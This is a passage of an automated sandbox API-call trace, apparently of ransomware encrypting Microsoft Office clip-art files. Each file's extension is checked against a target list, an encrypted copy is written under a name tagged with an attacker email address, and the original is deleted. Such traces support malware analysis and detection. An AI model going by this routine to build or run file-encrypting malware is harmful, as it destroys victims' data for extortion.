	[0207.606] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.606] SetEndOfFile (hFile=0x38c) returned 1
	[0207.607] CloseHandle (hObject=0x38c) returned 1
	[0207.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1
	[0207.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.608] lstrlenW (lpString=".doc") returned 4
	[0207.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.608] lstrlenW (lpString=".docx") returned 5
	[0207.608] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.608] lstrlenW (lpString=".pdf") returned 4
	[0207.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.608] lstrlenW (lpString=".xls") returned 4
	[0207.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.608] lstrlenW (lpString=".xlsx") returned 5
	[0207.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.608] lstrlenW (lpString=".ppt") returned 4
	[0207.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.608] lstrlenW (lpString=".zip") returned 4
	[0207.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.609] lstrlenW (lpString=".rar") returned 4
	[0207.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString=".bz2") returned 4
	[0207.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString=".7z") returned 3
	[0207.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString=".dbf") returned 4
	[0207.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString=".1cd") returned 4
	[0207.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString=".jpg") returned 4
	[0207.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString=".doc") returned 4
	[0207.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString=".docx") returned 5
	[0207.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.609] lstrlenW (lpString=".pdf") returned 4
	[0207.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString=".xls") returned 4
	[0207.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.609] lstrlenW (lpString=".xlsx") returned 5
	[0207.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.609] lstrlenW (lpString=".ppt") returned 4
	[0207.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.609] lstrlenW (lpString=".zip") returned 4
	[0207.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.610] lstrlenW (lpString=".rar") returned 4
	[0207.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.610] lstrlenW (lpString=".bz2") returned 4
	[0207.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.610] lstrlenW (lpString=".7z") returned 3
	[0207.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.610] lstrlenW (lpString=".dbf") returned 4
	[0207.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.610] lstrlenW (lpString=".1cd") returned 4
	[0207.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68
	[0207.610] lstrlenW (lpString=".jpg") returned 4
	[0207.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.610] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.610] lstrlenW (lpString="HH00235_.WMF") returned 12
	[0207.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.610] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=1026) returned 1
	[0207.610] CloseHandle (hObject=0x38c) returned 1
	[0207.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220
	[0207.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.611] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.611] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.612] GetLastError () returned 0x0
	[0207.612] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x402, lpOverlapped=0x0) returned 1
	[0207.859] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x410, lpOverlapped=0x0) returned 1
	[0207.860] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.860] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.860] SetEndOfFile (hFile=0x350) returned 1
	[0207.860] CloseHandle (hObject=0x350) returned 1
	[0207.860] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.860] SetEndOfFile (hFile=0x38c) returned 1
	[0207.861] CloseHandle (hObject=0x38c) returned 1
	[0207.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1
	[0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.862] lstrlenW (lpString=".doc") returned 4
	[0207.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.862] lstrlenW (lpString=".docx") returned 5
	[0207.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.862] lstrlenW (lpString=".pdf") returned 4
	[0207.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.863] lstrlenW (lpString=".xls") returned 4
	[0207.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.863] lstrlenW (lpString=".xlsx") returned 5
	[0207.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.863] lstrlenW (lpString=".ppt") returned 4
	[0207.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.863] lstrlenW (lpString=".zip") returned 4
	[0207.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.863] lstrlenW (lpString=".rar") returned 4
	[0207.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.863] lstrlenW (lpString=".bz2") returned 4
	[0207.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.863] lstrlenW (lpString=".7z") returned 3
	[0207.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.863] lstrlenW (lpString=".dbf") returned 4
	[0207.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString=".1cd") returned 4
	[0207.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString=".jpg") returned 4
	[0207.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString=".doc") returned 4
	[0207.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString=".docx") returned 5
	[0207.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.864] lstrlenW (lpString=".pdf") returned 4
	[0207.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString=".xls") returned 4
	[0207.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.864] lstrlenW (lpString=".xlsx") returned 5
	[0207.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.864] lstrlenW (lpString=".ppt") returned 4
	[0207.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString=".zip") returned 4
	[0207.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.864] lstrlenW (lpString=".rar") returned 4
	[0207.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString=".bz2") returned 4
	[0207.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString=".7z") returned 3
	[0207.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.864] lstrlenW (lpString=".dbf") returned 4
	[0207.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.865] lstrlenW (lpString=".1cd") returned 4
	[0207.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68
	[0207.865] lstrlenW (lpString=".jpg") returned 4
	[0207.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.865] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.865] lstrlenW (lpString="HH00602_.WMF") returned 12
	[0207.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.865] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=1400) returned 1
	[0207.865] CloseHandle (hObject=0x38c) returned 1
	[0207.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220
	[0207.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.866] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.867] GetLastError () returned 0x0
	[0207.867] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x578, lpOverlapped=0x0) returned 1
	[0207.868] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x580, lpOverlapped=0x0) returned 1
	[0207.869] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.869] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.869] SetEndOfFile (hFile=0x350) returned 1
	[0207.869] CloseHandle (hObject=0x350) returned 1
	[0207.869] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.869] SetEndOfFile (hFile=0x38c) returned 1
	[0207.870] CloseHandle (hObject=0x38c) returned 1
	[0207.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0207.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1
	[0207.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.871] lstrlenW (lpString=".doc") returned 4
	[0207.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString=".docx") returned 5
	[0207.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.871] lstrlenW (lpString=".pdf") returned 4
	[0207.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString=".xls") returned 4
	[0207.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.871] lstrlenW (lpString=".xlsx") returned 5
	[0207.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.871] lstrlenW (lpString=".ppt") returned 4
	[0207.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.871] lstrlenW (lpString=".zip") returned 4
	[0207.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.871] lstrlenW (lpString=".rar") returned 4
	[0207.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString=".bz2") returned 4
	[0207.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString=".7z") returned 3
	[0207.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.871] lstrlenW (lpString=".dbf") returned 4
	[0207.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString=".1cd") returned 4
	[0207.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString=".jpg") returned 4
	[0207.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString=".doc") returned 4
	[0207.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString=".docx") returned 5
	[0207.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0207.872] lstrlenW (lpString=".pdf") returned 4
	[0207.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString=".xls") returned 4
	[0207.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0207.872] lstrlenW (lpString=".xlsx") returned 5
	[0207.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0207.872] lstrlenW (lpString=".ppt") returned 4
	[0207.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString=".zip") returned 4
	[0207.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0207.872] lstrlenW (lpString=".rar") returned 4
	[0207.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString=".bz2") returned 4
	[0207.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString=".7z") returned 3
	[0207.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.872] lstrlenW (lpString=".dbf") returned 4
	[0207.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0207.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.873] lstrlenW (lpString=".1cd") returned 4
	[0207.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0207.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68
	[0207.873] lstrlenW (lpString=".jpg") returned 4
	[0207.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0207.873] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0207.873] lstrlenW (lpString="HH00612_.WMF") returned 12
	[0207.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.873] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=12632) returned 1
	[0207.873] CloseHandle (hObject=0x38c) returned 1
	[0207.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220
	[0207.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0207.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0207.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1
	[0207.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0207.875] GetLastError () returned 0x0
	[0207.875] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x3158, lpOverlapped=0x0) returned 1
	[0207.876] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0x3160, lpOverlapped=0x0) returned 1
	[0207.878] ReadFile (in: hFile=0x38c, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1
	[0207.878] WriteFile (in: hFile=0x350, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x303fc94*=0xec, lpOverlapped=0x0) returned 1
	[0207.878] SetEndOfFile (hFile=0x350) returned 1
	[0207.878] CloseHandle (hObject=0x350) returned 1
